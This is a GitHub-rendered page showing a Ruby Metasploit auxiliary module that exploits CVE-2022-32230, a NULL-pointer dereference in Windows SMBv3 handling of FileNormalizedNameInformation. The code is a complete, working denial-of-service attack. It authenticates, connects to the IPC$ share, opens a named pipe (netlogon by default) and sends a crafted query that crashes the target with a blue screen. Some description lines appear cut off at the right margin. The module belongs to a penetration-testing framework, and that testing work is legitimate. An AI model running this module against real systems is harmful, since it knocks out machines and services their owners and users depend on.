

🔗 feat/mod/cve-2... ▾

...

[metasploit-framework](#) / [modules](#) / [auxiliary](#) / [dos](#) / [smb](#) /
[smb_filnormalizednameinformation.rb](#) / <> Jump to ▾



zeroSteiner Add more module information ✓

🕒 History

👤 0 contributors

83 lines (74 sloc) | 3.22 KB

...

```

1  ##
2  # This module requires Metasploit: https://metasploit.com/download
3  # Current source: https://github.com/rapid7/metasploit-framework
4  ##
5
6  class MetasploitModule < Msf::Auxiliary
7      include Msf::Exploit::Remote::SMB::Client::Authenticated
8
9      def initialize(info = {})
10         super(
11             update_info(
12                 info,
13                 'Name' => 'SMBv3 FileNormalizedNameInformation NULL-ptr Dereference',
14                 'Description' => %q{
15                     A remote and unauthenticated attacker can trigger a denial of service condition on Micro
16                     Controllers by leveraging a flaw that leads to a null pointer deference within the Window
17                     vulnerability can be triggered on systems that are not Domain Controllers when authentic
18                     vulnerability is triggered by opening a named pipe and then querying it for FileNormaliz
19                     Access to a named pipe is why domain controllers can exploited anonymously while other s
20                     authentication. This vulnerability was patched in April 2022.
21                 },
22                 'Author' => [ 'Spencer McIntyre' ],
23                 'License' => MSF_LICENSE,
24                 'Actions' => [
25                     ['DOS', { 'Description' => 'Trigger Denial of Service against target' }],
26                 ],

```

```

27     'DefaultAction' => 'DOS',
28     'References' => [
29         [ 'CVE', '2022-32230' ],
30     ],
31     'DisclosureDate' => '2022-06-14',
32     'Notes' => {
33         'Stability' => [ CRASH_OS_RESTARTS ],
34         'SideEffects' => [ SCREEN_EFFECTS ], # the BSOD is visible on the screen
35         'Reliability' => [] # the DoS is reliable, but no payload is executed
36     }
37 )
38 )
39
40 register_options([ OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'netlogon']) ])
41 register_options([ Opt::RPORT(445) ])
42 end
43
44 def run
45     connect
46     begin
47         smb_login
48     rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
49         fail_with(Module::Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
50     end
51
52     begin
53         @tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
54     rescue RubySMB::Error::RubySMBError => e
55         fail_with(Module::Failure::Unreachable,
56             "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
57     end
58
59     query_file(filename: datastore['SMBPIPE'])
60 end
61
62 def query_file(filename: nil, type: RubySMB::Fssc::FileInformation::FileNormalizedNameInformatio
63     begin
64         file_id = @tree.open_file(filename: filename).guid
65     rescue RubySMB::Error::RubySMBError => e
66         fail_with(Module::Failure::Unreachable,
67             "Unable to open the specified named pipe ([#{e.class}] #{e}).")
68     end
69
70     query_request = RubySMB::SMB2::Packet::QueryInfoRequest.new
71     query_request.info_type = RubySMB::SMB2::SMB2_INFO_FILE
72     query_request.file_information_class = type::CLASS_LEVEL
73     query_request.file_id = file_id
74     query_request.output_buffer_length = 0x400
75     query_request = @tree.set_header_fields(query_request)

```

```
76
77     begin
78         @tree.client.send_recv(query_request, encrypt: @tree.tree_connect_encrypt_data)
79     rescue RubySMB::Error::CommunicationError
80         vprint_status('Received a communication error which indicates the service has crashed')
81     end
82 end
83 end
```

A horizontal scrollbar is located at the bottom of the code editor. It consists of a grey track with a darker grey slider. The slider is positioned approximately one-third of the way from the left. There are small black arrowheads at both ends of the track.